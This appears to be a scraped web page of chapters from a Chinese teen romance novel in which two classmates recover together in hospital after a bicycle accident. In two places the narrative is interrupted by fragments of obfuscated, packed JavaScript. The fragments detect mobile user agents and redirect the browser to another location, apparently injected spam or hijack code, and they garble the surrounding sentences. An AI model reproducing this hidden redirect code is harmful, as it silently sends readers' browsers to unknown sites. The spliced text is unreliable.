前面有段下坡的路,何希音的脚不再加速,车子却一点没慢下来的迹象,手刹也失灵,她想低头看怎么回事,但分不出精力,全神贯注地盯着前面的下坡,两只脚试着够地。 下坡陡,速度很快。 她大叫:“快让开啊!!” 风刮过眼角,带出眼泪,她焦灼又害怕,能用的办法都用了,不知道要如何停下车子。 就在这时候,街边忽然伸出一双手,握住她的手把,紧急制停车子。剧烈的震动,她整个人都颠出去,摔在路边,自行车同样倒在一边,颠倒的车轮还在吱扭吱扭地转。 何希音的左手磕在路沿,手臂瞬间红肿,鼓起一个淤青的鼓包,非常疼,两只膝盖也蹭破皮了。她的右手撑着地板,勉强坐起身。 她抬头。 “周拓!!” 15. 绿豆冰沙 制停失控自行车的是周拓。 他绕到她伸手,两手穿过她腋下,将她拉起来。 “手臂疼?”他问。 “对。啊……嘶……”何希音倒吸冷气,眼泪止不住地往下落,太疼了,只是碰到都是钻心的疼。 “腿呢?”他低头俯身。 何希音两条腿甩了甩,在原地蹦:“腿没事。” “我带你去医院。”周拓拉起自行车,自行车篮里的东西散落在地,其中就有那封‘写给未来的信’,信末尾写着何希音的秘密,何希音瞥见,脸颊煞白,顾不得手还肿着,弯腰去捡。 但迟了一步。 粉色信笺格外显眼,周拓拾起:“给谁的?” “给学长的。”何希音抢回来,塞进书包。 “乔喻?”他问。 “对对对。”何希音继续瞎编,“他要毕业了嘛。我们每个人都写了。” 何希音心虚不敢正视他,把书包拉开,用没摔伤的右手拾起地上的书本塞进书包。 周拓看不下去,伸手要帮忙,却被她躲开。 “你在这等我。”周拓推着车往前走,“我把车停一下。再回来找你。” “好。我在这等你。” 周拓离开,何希音松了一口气。她的手藏在书包里,摸着那封信懊悔,真是脑子短路了,为什么要说是写给乔喻的啊!一个谎言要用无数谎言来圆。她祈祷周拓忘了这事,别再提,别再问她。 周拓把车暂时锁在路边的公共自行车棚,抬手招停一辆的士,带着何希音去医院。 两人挂号,坐在诊室门口等叫号。 周拓说:“我打给何阿姨了。她马上就来。” “谢谢你。”何希音捂着手臂。事发突然,懵圈的脑袋到这刻才理清头绪,她注意到周拓始终拧着眉,嘴唇泛白,额角的汗细细密密,似乎在忍着什么巨大的痛苦。 她又盯了他一会,随即叫起来:“周拓你的脚!” “我知道。”周拓安抚。 “你的脚腕肿得好厉害啊!你别管我了,我在这等,你也赶紧去挂个号。” “我已经挂了。”周拓挥了挥手里的票据。 何希音稍稍放心:“我的脚又没事。早知道你这样,刚才我就自己去锁车了。你还推着车子走那么远。” 周拓的食指按在她唇上:“我真的没事。” 蒋素比何乐仪来得更快,找医生问清楚情况,带两个人去药房取药,又带着楼上骨科理疗室。两个人的X光片显示,一个脚腕骨骨裂,一个手臂骨折。两个人先做了消炎处理,再打上石膏。医生要求两人住院四天,观察一下情况,如果没事,可以出院,回家继续休养。 伤筋动骨一百天。 这意味着他们需要静养三个月。 学校那边也只能请假了,期末考不用参加,何希音躺在病床上和徐子欣视频。 “你期末考不来啦?” “是。” “我好羡慕你啊。” 何希音抬起打着厚石膏,直挺挺的,不能弯折的手臂:“你羡慕这个?这个石膏要打三个月。三个月啊!我只能待在家里。哪里都不能去。什么都做不了。” 徐子欣抓住重点:“你不能动。那是不是不用写作业了?” 何希音摇头:“我受伤的是左手。右手一点不影响。” “真惨。”徐子欣追问,“你现在在干嘛?” “躺着。” “然后呢?” “只是躺着。” 何希音有气无力,翻转镜头,让徐子欣看骨科病房,偌大的病房,住着六个病人,每张病床都用床帘隔开,对面床的病人比她更惨,两条腿都打着石膏,并且被绳子吊着,去哪都需要护工搀扶。病房内没有电视,没有其他娱乐,何希音让何乐仪帮她带点解闷的小说,何乐仪带来英语单词本。 她举着单词本:“要么躺着,要么背单词解闷。” 徐子欣语塞:“……” 许久,她说:“那你还是躺着吧。” 又聊了一会,她忽然兴奋:“周拓呢?他不是也住院了?你们没在一个病房吗?他在干嘛呢?” 此刻,周拓就躺在她的隔壁病床,仅有一帘之隔。 何希音拉开床帘,探头问:“徐子欣问你在干嘛呢。” 周拓举起手里的单词书。何乐仪拿来的那本。 何希音选择无视那本书:“他也躺着休息呢。” “你俩就这样干躺着啊。” “不然呢?在医院还能干嘛?” “也是。” 屏幕画面忽然黑了,孙舟的声音闯入话筒:“老大!你在医院怎么样了?你不在我的物理题都没人问了!” 何希音说:“是我。你要哀嚎请打给周拓。” “你帮我转达下我对老大的想念。”孙舟说。 徐子欣不知道在干嘛,把摄像头扣到桌面,屏幕仍是黑的,看不见那边的情况,只能听到两个人打闹的声音。 何希音扭头问:“周拓。你听到了吧?” 周拓轻‘嗯’了声。 黑漆漆的屏幕忽然有了画面,孙舟的脸凑得无限近,何希音惊得大叫,险些把手机丢出去,她捂着胸口:“你俩吓死我了!” 孙舟道歉,往后退了些:“让我看看你俩都伤哪了呗。” 何希音抬手给他看:“周拓伤在脚腕。” 孙舟喊:“老大。老大。” 何希音转头,周拓却把床帘拉上了,只留下条缝,他靠在床头,冷着眸,语气也冷:“我睡了。” 何希音原话转告:“他睡了。” 孙舟摊手:“好吧。” 徐子欣和何希音又聊了一会才挂断电话。何希音坐直,拉开床帘,戳了戳他肩膀:“孙舟也打给你了吧?他在关心你哎。你怎么不回他一下?” 周拓展示他和孙舟的聊天界面。孙舟的嘴是连-珠-炮,一开口再难停下,长语音一条接着一条,周拓文字回来不及,后面都用表情包回复。 周拓随机点开两条语音,孙舟的声音比扩音喇叭洪亮。 “老大。你不在,物理老师说讲课都感觉缺点什么。你不参加期末考,隔壁班那小子高兴坏了,这次他稳年级第一了。你要休息很久吗?我暑期还能去找你吗?啊!我报了珠心算夏令营,本来想叫你一起的,你肯定有兴趣,现在不行了,你去不了了。唉……” “老大。老大。你在干嘛呀?” 真神奇,在孙舟的连-珠-炮中间,还能听见周拓的回复。他的声线平静到漠然,对孙舟的热情见惯不怪:“我在等拍X光。” 只一句,他的声音再次被孙舟的语音海淹没。 “老大。你拍片要很久吗?你手边有笔和纸吗?我有道题不会。帮我看一下呗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293183|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “老大,医院很无聊吧?你没事做可以给我发消息。我保证第一时间回!” “老大,你的作业我帮你领了,周末去医院找你哈~” 周拓停止播放,冷眸被无语塞满。 何希音报以同情:“我懂了。” 然而下一秒,她的手机屏被红点塞满,红点数字不断狂飙。不用点开就知道是孙舟,只有他能这么快,这么密集地发消息。 “他把发给你的发给我了!!周拓!!” 周拓笑:“那真是辛苦你了。” “啊!周拓!你快回他呀!” “我回过了。”周拓指着腿上的石膏,“我是为你受伤的。现在轮到你报答我。” “好吧。”何希音认下,她一会指天,一会指地,两手合成心型朝周拓发射,“天大地大不如拓哥的恩情大。你放心,我绝不会让这个人骚扰到你。” 周拓低头继续看书。 没两秒,床帘被拉开,何希音眼睛圆圆的,坠着嘴角,模样很可怜:“他发的物理题我真的不会。都是竞赛题。太为难我了。” 周拓勾手。 何希音把手机递过去。 周拓拿纸,边解题边问:“你下午怎么打算的?” “不知道。”她抵着下颌,“唔……在医院能干嘛呢。” 她的右手没事,可左手不能弯曲,不能动,写字极慢,很不方便,早上她写作业是眼睛看,脑子写,解题思路在脑子里过一遍就算写完了。这么一来,作业倒是很快完成了。 拉开床头柜,发现里面有一沓彩纸。是上个住院的病人留下的。 “有彩纸耶。” “所以呢?” “我们来折千纸鹤吧。” 周拓不解地看着她。 何希音解释:“把心愿写在纸上,再折成纸鹤就会实现。” “你应该知道这……” “嘘!”何希音呵止,“周拓。我才十七岁。请你让我保持未成年应有的天真好吗?试试嘛。反正也是闲着。” “周拓,你有愿望吗?”她问。 “有。” “是什么?” “许愿说出来会不灵。” 何希音两手叉腰,长‘嘁’一声:“你不是不信吗?” 周拓说:“要么全信。要么全不信。” “你还挺有原则。”何希音调侃。 何希音写下心愿,不能动的左手手肘压住边角,右手折叠纸张,勉强完成前面的步骤,确定看不见她写的东西后,她递给周拓,眼巴巴地看着他:“帮我。” 周拓接过,折完最后一步。 蔚蓝的纸鹤像窗外的天,今天风和日丽,气温不高,是个出游的好时候,两人却只能躺在病房叹气。 何希音更伤感了。 低头对纸鹤说:“快让我们好起来。我带你去看蓝天,看白云,看一切美好。” 周拓那边也折好一只。 他问:“要折多少?” 何希音捏了捏那叠彩纸:“至少九十九只吧。九十九,长长久久,我们的愿望肯定能实现。” 她拿笔继续写。 周拓写完,却没急着折。 他沉了嗓:“要不要交换。” “嗯?”何希音猛地抬头。 周拓说:“我给你看我写的。” “你写了什么?”他问。 16. 绿豆冰沙 “啊?我……没写什么……”何希音声音渐小,又折了一折,将心愿遮住,“就是写希望快点出院呗。” 她不满:“你不是说心愿说出来会不灵吗!” 周拓摊开手:“我给你看。” “我才不看。”何希音冷哼,嘴角勾起得意的笑,自以为拆穿他的把戏,“哼。你是故意骗我看。回头你的愿望若是不能实现,你就会埋怨我。对不对!没用的。” “周拓。我!看!穿!你!啦!”她一字一顿,超级得意。 周拓不言,嘴角坠了坠。 何希音笑:“计谋得逞不了了吧。” 那封粉色信笺也在床头柜,压在彩纸下方。她的书包让何乐仪带回去的,唯独留下夹着信的那本书。周拓盯着信,手指用劲,撕破了彩纸。 何希音瞥见,慌乱地关上柜门,换一张新彩纸给他。 周拓问:“那封信……” “是写给学长的!”她抢答。 周拓挑起疑惑的高低眉,一手撑在床边,身子探近:“你怎么这么紧张?” “我……我哪有。”何希音挠脸。 周拓抬手,手里的课本敲在她头顶,课本很轻,压在头顶却像千斤顶。何希音咽唾沫,嘈杂的病房,声音被无限放大,扑通乱跳的心快要跳出胸膛。心里的小人不断呐喊着‘别问啦!’ “不让问?”他歪头。 难道是她的心声太大声了?他竟然听得见? 何希音按着胸口,惶恐地看向他。 “你的脸好红。”他提醒。 何希音抬手,还没摸到脸颊,周拓又补了一句:“没红。骗你的。” “周拓!你烦死啦。”何希音捂脸,温热的脸颊灼手,后面的话全咽下去了。 周拓眯着眼,语气不善:“写了不该写的?情书啊?” “只是普通送别信而已。”何希音意识到越否认,他肯定越好奇,与其遮遮掩掩,不如发癫胡扯,她环胸,嗓门洪亮,“就是情书。你想怎么样?” 又担心周拓这个不解风情的人会追问,迅速转移话题。 “周拓。” “干嘛?” “我带你偷溜吧。” “什么?” “走吧。走吧。”何希音跳下床,拿出钥匙把床头柜锁上,拎起旁边的腋下拐,伸手去搀周拓。 周拓的右脚打着石膏不能碰地,右腿往后勾,两手都住着腋下拐,蹦一步,跳一步地往前走。 何希音走出病房,发现走廊有个公用轮椅,征得护士同意,将轮椅推到病房:“周拓!你坐这个吧!” 周拓千推万辞也没推掉,被她强按到轮椅上。公用轮椅老旧,轮子的扶手磨掉一半,很难自己推动,需要有人在后面推。坐在轮椅,矮人一截已是很难受,出行受限,要依赖于人,周拓的脚迟迟不肯放上踏板。 何希音站在他身后,拍了拍他肩膀:“把脚放上来啊。” 周拓只得照做。 他单手扶额,头低得要埋进胸膛。 “何希音。” “在?!” “快去快回。太丢人了。” “收到!” 医院人多,走廊窄,两人走得慢,一出医院大门,何希音加快脚步,要不是只有一只手能动,要不是这公用轮椅太陈旧,她能带着周拓跑出玛莎拉蒂的风驰电掣。 “周拓!” “又怎么了?” “你感受到了吗?” “什么?” 何希音深呼吸:“风。这是自由的风。这是猛烈的风。这是我带你奔跑带起的风。” 周拓配合着用颤音回:“好~大~的~风~” 何希音锤他肩膀:“周拓!” 周拓扯身上的病号服,又扯她的袖子:“咱俩这穿着,再加上你的奔跑速度,知道的是两个骨折病人,不知道还以为是精神病院偷跑出来的。” “呸呸呸。”何希音瞪他,“瞎说什么呢。” 周拓仰头:“我们去哪?” 拉长脖颈,曲线凸显,他脖颈吊着一条金属链,是何希音在首饰店买给他的生日礼物,上面有他的姓名缩写,平时被衣服遮着没什么感觉,这刻视线随着链子滑入衣领,透过宽松的病号服竟然能看到起起伏伏的腹肌。 何希音拖着他后脑勺,往前推。 “往前。看路。” 周拓语塞。 “我又不能自己走。需要看路的是你。” 何希音按住他脑袋:“你也得看路。” 周拓坐正:“你准备带着我这样瞎逛?” “不。我要带你去吃大餐!” 附近有家中西融合菜馆是牧辽的心头爱,带何希音去了很多次,每道菜都打在她心上,只要吃过一次就会念念不忘,回头客非常多。 下午四点,是个非常妙的时间点,距离午餐有一段时间,又没到晚高峰,不用排号。 何希音推着他进去。 服务员伸手要帮忙。 何希音婉拒:“我推着就好。” 两人在大堂落座。 何希音翻开菜单:“要这个。这个。这个。还有这个。” 周拓提醒:“分次点吧。” 何希音说:“我点的都是半份。分量不多的。这家真的超级好吃。全夏宜市最好吃!” 服务员听见,说:“一会送你们一份花生甜汤。” “太好啦!”何希音握着她的手说,“姐姐你真是人美心善。一会我会给你五星好评的!” 烤乳鸽、蚵仔煎、蟹鳗煲、虾卷、沙茶锅。 热气腾腾的菜逐一端上桌。每道菜都带着刚出炉的锅气,鲜红的螃蟹,青嫩的葱,软糯的芋,食材新鲜,颜色鲜亮,开了滤镜似的。 何希音摸口袋,登时愣住:“周拓。我没带手机。” 周拓不以为意:“有带钱包就好。” 何希音咬唇,表情更难看,在口袋里的手迟迟没拿出来。 周拓猜到了最糟糕的情况:“钱包也没带?” “嗯。”她小声,“你呢?” 周拓拉出两侧空空的口袋兜:“你觉得呢?” 两个人都没带,何希音反倒放松了,船到桥头自然直,美味佳肴不吃白不吃,她用筷子夹菜:“先吃。吃完再想办法。” 周拓转动轮椅:“我去前台借电话打给我妈。让她来付。” 何希音阻止:“不要哇。”她低声,“你疯啦!我们是偷跑出来的!要是蒋阿姨知道,肯定骂死我们了。” “是骂你。”周拓指着肿大的脚腕,“我这样怎么偷跑。” 何希音噘嘴:“我带你吃香喝辣,出事了,你丢下我就跑?这么不讲义气。” 周拓笑:“我现在这样,想丢下你跑也没办法。” “我是在解决问题。”他反问,“那不然你有什么办法?” 何希音摸着下巴,圆溜溜的眼睛转了又转,馊主意蹭蹭地窜出脑袋,她上下打量周拓,把周拓都盯毛了。 他两手抱胸:“你那是什么眼神。” 何希音拉下他的手:“安啦。安啦。我有办法付钱。咱们先吃吧。这些菜凉了就不好吃了。”她不停往周拓碗里夹菜,“我真的有办法。先安心吃饭。” 周拓将信将疑地咬了一口。 但很快,他被眼前的美食征服,饱腹感抵消疑虑。 何希音忽然起身,拿账单,去前台。 “我去结账。” 她不知道和老板在讨论什么,一会用手比,一会又指周拓。老板点头后,她兴冲冲地跑回来:“你在这待着。我回去拿钱包。” “这就是你的办法? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298804|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”周拓扶额。 何希音夹走桌上的最后一块炸醋肉:“很有用呀。我很快会回来赎你的。”她拍胸脯保证,“拓哥,等着我!” 何希音一走,店内瞬间冷清。服务员很快来收走餐盘,周拓做在轮椅上,尴尬至极,他试着做点什么,但被困在轮椅上,他哪里都去不了,什么都做不了。他像只走丢的小狗,只能坐在这等着她。 这是周拓第一次这么无助。 也是他第一次这么想念何希音。 等待的每一秒都很难熬,望着玻璃窗外昏暗的天空,匆匆人-流,他忽然很担心,她的手受伤了,打着石膏,会不会因为赶路再添新伤。 他希望她快点来。 又担心她太快来。 焦虑吞噬着他,他两只手敲着轮椅扶手,愁眉难展,他低着头,盯着脚腕的石膏走神,他想要快点痊愈,快些出院。 脸颊倏地被冰。 他抬眸。 何希音安然无恙地站在面前,打着石膏的手吊着绷带,挂在胸口,手上拿着杯绿豆沙在吸,另一手提着一杯没拆封的。 “我来赎你啦!”何希音晃了晃手里的绿豆冰,“顺带给你带了一杯。” 何希音推着他走出店门。 周拓却指着路边的长凳:“喝完再走吧。” “好呀好呀。”何希音固定好他的轮椅,再坐下。 两人坐在路边,仰头看着天空,夕阳藏在云里,云层勾着金边,整个天空都被染成橘红色,火一样地燃烧着。 “周拓,你说云朵会是什么味道的呢?” “是绿豆冰的味道。” 何希音猛吸,被冰得脑袋疼,但很爽。 绿豆冰沙绵密得像云朵,不甜不腻,被他们一口一口地吃掉。 “云朵要是绿豆沙,那踩一脚就会掉下来啦。”她的吸管在杯子里乱戳。 “没关系。我会接住你。”他说。 “好呀好呀。”何希音笑着。 周拓仰头:“今天的夕阳很美。” 何希音揽功:“多亏我带你出来看了呢!还不谢谢本小姐。” “是。谢谢你。” “嘻嘻。不客气。” 何希音起身,推着他往回走,朝着夕阳落下的方向。 “刚刚没有让你等太久吧?” “没有。” “周拓。我是拯救你的英雄呢。” “是。用我的钱包。” “嘁。” “出院后的第一餐我请。”她豪气地承诺。 周拓竖起小拇指:“拉钩。” “你好幼稚。”她揶揄,却伸出手,“拉钩。” 回到医院,护士和医生已经在巡房了,何希音暗呐不好,蒋素叮嘱过护士,有什么情况要及时告诉她。两个人的病房在走廊最后一间,何希音加快脚步。她只有一只手,推的本就没那么稳,速度一快,车子颠簸得厉害。 周拓说:“慢点。一时半会查不到我们这。” 越急越出乱子。 有个男孩突然窜出病房。 何希音及时停住,手拉住轮椅,可惜她的手没力,轮椅还在往前滑,周拓的脚落地,抵住轮椅,两手接住冲出来的孩子。 他抱着男孩滚到地上。 男孩也吓坏了,呆坐在那不敢动。 周拓说:“没事。你走吧。” “对……对不起。”男孩道歉,逃也似地跑了。 周拓抓过轮椅,手按着坐垫,撑起身子,又握着扶手,慢慢坐下。没打绷带的那条腿刚才撞在墙角,疼得发麻。 何希音忙问:“伤到腿了吗?” 她伸手去拉他的裤管,要检查石膏,却听到周拓低沉的声音从嗓子眼艰难滚出。 他说—— “我的左脚好像骨折了。” 17. 绿豆冰沙 熟悉的X光室,熟悉的医生,周拓躺在熟悉的台子上。 医生拿着片子确认:“左腿骨裂。还好这次伤的不是脚踝。好的会快一些。再去治疗室打个石膏吧。” 从治疗室出来,周拓两只脚都打着石膏,这回不管他愿不愿意都只能坐轮椅。 何乐仪责怪:“希音。你怎么回事!都告诉你这段时间要在医院好好静养了。早知道就不给你申请免期末考,打着石膏也给我去考试。” 何希音不敢反驳,低头站在那挨骂。 周拓说:“不怪她。是我要出去的。” 何乐仪向蒋素道歉。 蒋素:“不管是谁提出的出去,这次都算是你们不遵循医嘱的教训了。还好没出大事,这周在医院老老实实待着静养,哪里都不许去了。” 何乐仪附和:“听到没?” “听到啦。”两人异口同声地回答。 回到病房,何希音松了一口气:“还好有你。呜呜。要是没你出来扛-雷。妈妈一定会骂死我的。” 周拓却抬手:“这雷不是白扛的。” “我懂。等出院我请你吃饭!” “不止。” “啊?你还想要什么?” “这段时间,我去哪你都得跟着我。” “那我不就变成你的跟班了?!”何希音笑容全无,眼睛无语成一条直线。 周拓是懂得如何拿捏她的,手指着两条石膏腿,眼尾下垂,像只可怜的小狗,没说话,那委屈的表情已胜过千言万语,更别提那只为救她负伤的右脚。 何希音应下:“知道啦。”她绕到他身后,握住他背后的轮椅把手,“我定会紧紧跟随少爷您的。” — 周末,孙舟、徐子欣提着果篮来看望两人。刚进病房,孙舟就哭天抹泪,仿佛不能走路的是他。 “老大。你太惨了。你怎么两条腿都打石膏了。太惨了。”孙舟重复了无数个‘太惨’,神情痛苦到周拓不跟着哭两嗓子都对不起他,但周拓有着异于常人的耿直,“在你没来之前我没觉得自己惨。” 孙舟:“现在呢?” 周拓直白道:“现在觉得你很烦。” 孙舟捂住胸口:“老大。你太伤我了吧。我可是早起赶公交来医院的呢!” “这个我能证明!”徐子欣举手,“他绝对没有睡过头,绝对不是我打电话催他,他才记起来今天要来,这些水果也绝不是我叫他买的。” 被拆台,孙舟脸上青一阵红一阵的。 周拓拆开果篮,拿了串提子放在盆里交给他:“帮我洗一下吧。” “ok!”孙舟端盆去卫生间。 过了会,孙舟出来,已经吃上提子了:“老大,你们这病房条件还挺好的,卫生间真大,有两个水龙头。” 周拓和何希音瞬间警觉。 何希音问:“你用哪个水龙头洗的?” “左边那个啊。”孙舟怕说不清楚,还往卫生间指了指,“右边那个有人在用。” 病房内有个病人两只手都打着石膏,每晚洗脚都是用脚趾拧开水龙头,贴着水龙头冲洗,再用脚指关上水龙头。何希音和周拓见过好几次,那个水龙头拿来洗衣服无所谓,拿来洗水果就有点…… 周拓和何希音非常默契地把手里的提子放回去。 徐子欣见状也放了回去。 孙舟不解:“这提子特别甜!真的。” 何希音说:“那个水龙头是隔壁床用来洗脚的。” 孙舟当场石化。 徐子欣拍他肩膀:“节哀。” 孙舟拿着难以下咽的提子,愁眉苦脸,一阵阵犯恶心。 “我有点想吐。” 何希音开窗:“吹吹风缓解一下。” 周拓拉过轮椅,一手扶着轮椅,一手撑在床面,坐到轮椅上,摇着轮椅往前。 “你去哪?”何希音跟在后面。 “去厕所。” “哦。” 何希音走回床边。 孙舟跟上:“老大,我推你去。” 周拓厉声:“千万别。”他的眼神布满惶恐,浑身每个细胞都在拒绝,语气异常坚决,生怕眼前这个一根筋的听不懂。 “哎呀。都是自己人。你现在多不方便啊。” “不用。” 周拓震惊到直接从轮椅上站起来。他两腿受伤的部位略有不同,右脚伤在脚腕,不能受力,无法站立,但左腿伤的是小腿腿骨,有腋下拐支撑的时候,可以短时间站立。 他拄着拐,单腿站着。 “好好好。你厉害。你自己去。”孙舟打消帮忙的念头。 周拓拐进卫生间。 孙舟从包里拿出竞赛卷:“老大在医院肯定很无聊。我给他带了卷子。让他解闷。” 何希音笑:“你真把他当解题机器啊。” 徐子欣戳破他:“把你的作业外包,可真有你的。” 孙舟挠头:“有的题我真的不会。” 周拓从洗手间出来,孙舟捧着卷子冲上去求助。 周拓却一反常态地推开:“老师特批我这个假期不用写。” “那你就不写了吗!”这次惊讶的人换成了孙舟和何希音。 “是啊。”他拧眉,“怎么了?” 孙舟:“我以为解题是你的乐趣。” 何希音点头:“我也以为。” 周拓没否认:“是任务也是乐趣。但我现在想休息。” “不行啊。老大,你得救我。要是开学小测我没通过,会被踢出竞赛名单的。”孙舟展开卷子,“你看一眼呗。” “啧。”周拓嘴上嫌弃,拿过卷子又无比投入,整个人像沉入深海,瞬间没了声音,任何吵闹都激不起波澜。 三人坐在何希音的床边聊天。 周拓坐在轮椅上低头写题。 一下午就这么过去。 谁也没想到,乔喻来了。他在社团群里知道何希音在住院,带着花束来看望。今天是高考日,可他出现在病房。 何希音张着嘴,震惊到说不出话。 徐子欣问:“学长,你今天高考啊!” “我考完了。”乔喻指腕表,“一小时前考试就结束了。” 何希音收下花,仍处于震惊中,也有些感动:“谢谢你来看我。” “我刚上来的时候,医院餐厅还挺多窗口的。你吃了吗?要不要一起下去吃点东西?我有些事要交代你。我毕业了,以后社团就要交给你们了。” “噢。好呀。”何希音放下花,要跟他下楼。 一直安静解题的周拓忽然开口问:“那我呢?” “呃……你想吃什么?我帮你带上来?”何希音问。 周拓摆手:“算了。” 两人下楼,乔喻把社团活动室的钥匙都交给她,交代了一些社团的事:“果然还是交给你,我最放心。” 何希音拍胸脯保证会妥善管理钥匙,直到选出下任社长。 乔喻望着湛蓝的天空,张开双臂,深呼吸:“真好啊。真羡慕你们。”他拍了拍何希音肩膀,语重心长地说,“好好享受最后一年,要努力,但不要太紧张。” “学长!我会加油的!” ~ 何希音提着盒饭回到病房,其他病人去食堂了,徐子欣和孙舟也回家了,空荡的病房只剩周拓,他坐在窗边,神情复杂。 何希音打开他的桌板:“我回来的快吧!” “你怎么没把那封信给他?”周拓侧目。 何希音噎住。要是她会医术,她一定要打开周拓的脑子看看,他的脑子到底是什么构造,为什么能装下那么多知识,还能记住这么多乱七八糟的小事。 “那封信……我……我还没写完。”她支支吾吾地解释。 “如果你有疑虑,说明不应该给他。” “你什么意思?” “字面意思。” ~ 深夜,病房内新来的病人睡不习惯病床,翻来覆去,一会去卫生间,一会在走廊踱步,隔壁床的大叔倒是丝毫不受影响,鼾声震天响。 何希音没了睡意。 她翻身,隔着单薄的床帘,透过细缝,发现周拓也没睡。他同样是仰面躺着,盯着天花板。 新来的病人又出门了。 这次,病房的门没关紧。风吹开,扑向何希音。初夏总是阴晴不定,白天热,晚上又会冷,尤其是下过雨的夏夜,冷空气突袭,她拉紧被子,打了个冷颤。 周拓起身,拄拐绕过她的床铺,将门关上。 “谢谢你。”她小声说。 他没回应,似乎是没听到。躺回床上,沉默许久,忽然转头。昏暗的房间,又隔着床帘,何希音看不清,只是透过床帘的影子,觉得他应该是在看自己。 “其实……我也挺好的。是吧。” 何希音没听清:“你在和我说话吗?” “……” “周拓?” “梦话。” “哦。” — 一周后,手上的石膏还没拆,但病情稳定,办理了出院手续,回家继续静养。 周承安和蒋素准备去旅游,旅游行程是一个月前定下的,本来是一家三口的亲子游,现在成了夫妻俩的二人世界。 蒋素再次确认:“你一个人可以?” “可以。”周拓确定,“你和爸爸好好去玩吧。” 周承安拍他肩膀,眼神无限惋惜,嘴角却微微上扬。周拓早已接受自己是父母的意外这件事,他翻白眼:“不用憋着笑。” 周承安笑:“我们不会放你一个人在家的。我请了个阿姨来照顾你。你有事及时打电话给我们,我们第一时间飞回来。” 随即他又压低声音:“事情不大,你就自己处理一下。妈妈好不容易有个假期。” “知道。”周拓坐在轮椅上看着他们收拾行李,忽然提出,“我想回旧家休养。” 蒋素觉得不妥:“那边是四楼,你现在上下楼不方便。这里多好,就在一楼,出来还有庭院。你偶尔还能出来透透气。总不能一天都憋在屋里吧。” 周承安拉住妻子,想了会,竟然答应下来:“也行。你一直住在那,书和衣服都在那,继续住在那方便。我让看护阿姨也住过去。” “我去收拾东西。下午过去。”周拓转着轮椅离开。 蒋素仍有疑虑:“真的那边比较好吗?” 周承安:“我和老夏说一声,让他帮忙看着。希音在呢,不会出事的。” 下午,周承安开车送周拓回到南浦街。护工陈阿姨先一步到达,等在小区门口。 周承安指挥陈阿姨推轮椅。 “你先回去。我去找夏文斌说一些事。” “好。”周拓跟着陈阿姨继续往前。 到楼门口,陈阿姨特别热情,撸起袖子要去抱他。 周拓忙摆手拒绝。 陈阿姨笑:“哎哟。别不好意思。我儿子和你差不多大。” “我能走。”周拓拄拐站起来。他两手撑着腋下拐,右脚向后勾,左脚站着,左腿有伤,所以身子往□□,重心放在右边的腋下拐。 陈阿姨站在那又看了一会,确认他是真的能走还是吹牛。 看他一步一台阶,虽然费劲,但还算稳当。悬着的心落下,折叠轮椅,搬上楼,经过他时,撂下一句:“你别逞强。不行就大喊。我马上下来。” 周拓道谢,低着头,拄拐一步一拐地 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“当然会来。”何希音握着他的轮椅把手,“我可是你的小跟班呢~” 她说这三个字的时候咬牙切齿,她可以照顾周拓,也应该照顾他,毕竟他是因她负伤,可她不喜欢这个称呼,像个狗腿子。在医院的这几天,周拓没少使唤她,真把她当狗腿子,连放在床头柜上的水杯都让她帮忙拿。 一个上午周拓做什么,何希音都跟着,没有顶嘴,没有抱怨,反倒让周拓有些不适应了,问她是不是有什么事求他? 何希音眨眼:“没有呀。照顾好你可是我的荣幸呢。” “何希音。” “我的大少爷。又怎么啦!” “别这么说话。”周拓抱着胳膊打冷颤,“我冷。” 她的异常就像盛夏下大雪,绝不可能。 周拓挑着疑惑的高低眉,半天也没等到她的回答,何希音笑嘻嘻的,弯弯的眉眼却透着股坏,透着古怪。 今天不会好过了。 但有什么办法呢。 周拓决定顺其自然,见招拆招。 何希音倒水:“给你。” 周拓接过,抿了一口,是水,很普通的水,似是不敢相信,又小抿了一口,还是普通水的口感。 “太凉还是热了?”何希音举着热水壶候着。 周拓问:“你给我下药了?” “胡说八道什么呢!”何希音放下水壶,锤他肩膀,两手叉腰,“我和你无冤无仇,下的什么药。” “泻药?” “周拓!” “你给的,毒药我也喝。” 周拓喝完。 何希音再次举起水壶:“还要吗?” 周拓放下杯子:“我又不是水牛。” “我这不是怕你不好意思说嘛。”何希音有点失望。她没下药,但给的东西胜似药,是让周拓可以求她饶命的药。 约莫一小时,何希音的计划奏效了。 周拓转着轮椅往里屋走。 她紧跟其后。 “不用跟。” “为什么?” “……”轮椅停在卫生间门口,周拓拄拐站起,“我要去厕所。” “我可以帮你呀。”何希音的手按在门把上,先一步打开门,站在门边,弯着腰,伸长手,恭敬地请他进去。 “来嘛。不要害羞。Don''tbeshy.” 周拓瞪大的眼睛很快从难以置信到震惊,再到惶恐,他的脸颊涨红,含羞带臊,像个蒸汽机,脑袋顶呼呼冒烟。 “何希音。你到底想干嘛?” “不是你说的嘛。我是你的小跟班。你走到哪,我跟到哪。我这是在完成我们的约定呢。是吧?少爷~”何希音堵在门口,两手叉腰,堪比门神。 周拓嗤笑:“在这等着我。” “我说你怎么不停倒水。” “你可真是冤枉我了。”何希音委屈,“我多用心照顾你呀。” 按照何希音的预想,此刻周拓应该哭天喊地,叫她‘姑奶奶’,说‘自己再也不敢使唤她了’,说‘我不需要小跟班了’。 但他没有。 没有求饶,没有生气,甚至不再害羞。 他往轮椅上一坐:“行。你有这觉悟真是不容易。那你推我进去吧。” 